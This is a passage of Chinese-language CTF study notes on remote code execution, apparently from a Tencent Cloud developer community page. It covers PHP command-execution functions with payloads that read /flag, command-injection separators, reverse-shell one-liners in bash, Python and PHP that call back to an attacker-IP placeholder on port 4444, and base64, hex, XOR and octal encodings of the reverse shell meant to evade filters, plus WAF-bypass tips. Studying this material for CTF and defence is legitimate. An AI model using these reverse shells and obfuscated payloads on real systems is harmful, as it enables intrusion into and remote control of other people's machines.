RCE 学习

核心原理

RCE 的本质是**“数据与指令的边界模糊”**。程序本该把用户输入看作普通字符串(数据),却因为代码逻辑缺陷,将其放入了执行环境(指令)中。

常见的形成场景

  • 调用系统命令的函数: 程序为了实现某些功能(如 ping 某个 IP、调用系统工具),直接将用户的输入拼接到系统 shell 命令中。
    • PHP: system(), exec(), shell_exec(), passthru()
    • Python: os.system(), subprocess.run()
  • 代码执行函数: 有些函数允许将字符串作为程序代码直接运行。
    • PHP: eval(), assert()
    • Python: eval(), exec()
  • 反序列化漏洞: 当程序在恢复对象状态(反序列化)时,如果处理了不受信任的数据,可能会自动触发对象内部的“魔法方法”,从而执行预设的代码。
  • 服务器端模版注入 (SSTI): 模版引擎(如 Jinja2, Smarty)错误地渲染了用户输入的模版表达式,导致表达式被当作代码解析。

php命令执行函数

函数名 拿 Flag 代码示例 (Payload) 说明
system() system("cat /flag"); 最直接。执行完会直接把 flag 打印在页面上。
passthru() passthru("tail -n 10 /flag"); 同样直接回显。常用于 system 被过滤时的首选替代品
exec() exec("cat /flag", $res); print_r($res); 坑点: 只写 exec("cat /flag") 页面通常是空的,必须要把结果数组 print_r 出来。
shell_exec() echo shell_exec("base64 /flag"); 技巧: 遇到不可见字符时,先用 base64 编码输出,再拿回来解码。反引号同理:echo \cat /flag;
popen() $f=popen("cat /flag","r"); fpsthr($f); 打开管道后,用 fpassthru()fgets() 把里面的内容读出来显示。
proc_open() $d=array(1=>array("pipe","w")); $p=proc_open("cat /flag",$d,$s); echo stream_get_contents($s[1]); 最隐蔽。通过文件描述符 1 (stdout) 拿到输出流。在绕过某些行为检测(EDR/WAF)时非常管用。
pcntl_exec() pcntl_exec("/bin/cat", ["/flag"]); 注意:第一个参数必须是二进制程序的绝对路径。它会杀掉当前的 PHP 进程并显示 flag。

反引号介绍:把一个系统命令包裹在两个反引号中时,PHP 会尝试将该字符串作为 Shell 命令执行,并将其完整的输出结果作为一个字符串返回。

用法为 `ls` `cat /flag`

命令分隔符

分隔符 名称 逻辑与行为 CTF 常用示例
; 分号 无条件执行。前面的执行完,立即执行后面的。 127.0.0.1; cat /flag
\n 换行符 等同于分号。在 URL 编码中通常表示为 %0a ?ip=127.0.0.1%0acat%20/flag
& 后台运行 前后两条命令同时执行,互不影响。 sleep 10 & cat /flag
&& 逻辑与 仅当前面执行成功(返回 0),才执行后面。 ls && cat /flag
**` `** 管道符 将前面命令的输出作为后面命令的输入
**` `** 逻辑或

反弹shell

作用:让目标机器(被攻击者)主动连接你的服务器(攻击者)。这样做的好处是可以绕过目标防火墙的入站规则。

我们要先下载 nc 我下载了 nc64.exe 直接在终端中使用这个就行,用法为

/nc64.exe -lvnp 4444

-l 监听, -v 显示详细信息, -n 不解析域名, -p 指定端口

bash

bash -i >& /dev/tcp/攻击者IP/4444 0>&1

原理拆解:

  • bash -i:启动一个交互式的 bash 窗口。
  • >& /dev/tcp/IP/Port:利用 Linux 的特殊设备文件,将 bash 的标准输出错误输出重定向到你的服务器。
  • 0>&1:将标准输入也重定向到输出流中,从而实现远程输入命令。

python 3

python3 -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击者IP”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)’

原理拆解:

  • socket.connect:建立 TCP 连接。
  • os.dup2:这是核心,它将 socket 的文件描述符复制给 stdin(0), stdout(1), stderr(2),让你的输入输出都走这个 socket。
  • pty.spawn:创建一个伪终端,让 shell 更好用。

php反弹

<?php exec("bash -i >& /dev/tcp/攻击者IP/4444 0>&1"); ?>

如果有限制,则可以

base64编码绕过

echo “YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=”(bash -i >& /dev/tcp/IP/PORT 0>&1) | base64 -d | bash

hex绕过

echo “62617368202d69203e26202f6465762f7463702f49502f504f525420303e2631” | xxd -r -p | bash

xor异或

$_=(‘%01’‘%21’).(‘%01’‘%38’).(‘%01’‘%32’).(‘%01’‘%35’).(‘%01’‘%24’).(‘%01’‘%2c’); // 得到 “system”
$=(‘%01’‘%2d’).(‘%01’‘%32’); // 得到 “ls”
(_((
); // 等同于执行 system(“ls”)

八进制(或者十六进制)

$(printf “\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\111\120\57\120\117\122\124\40\60\76\46\61”)

bypass绕过

关键字过滤:双写,大小写

编码绕过:

  • URL 编码:使用 %20 代替空格,或二次编码(Double Encoding)。
  • 十六进制/十六进制字符串:在 SQL 注入中使用 0x666c6167 代替 'flag'
  • Unicode/宽字节:利用编码转换过程中的差异(如著名的宽字节注入 %df%27)。

等价替换,比如/**/代替空格

ssrf中,也可以重定向,ip进制转换,@绕过url解析差异

文件上传绕过(略,看上次的md)

waf绕过:分块传输,参数污染

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐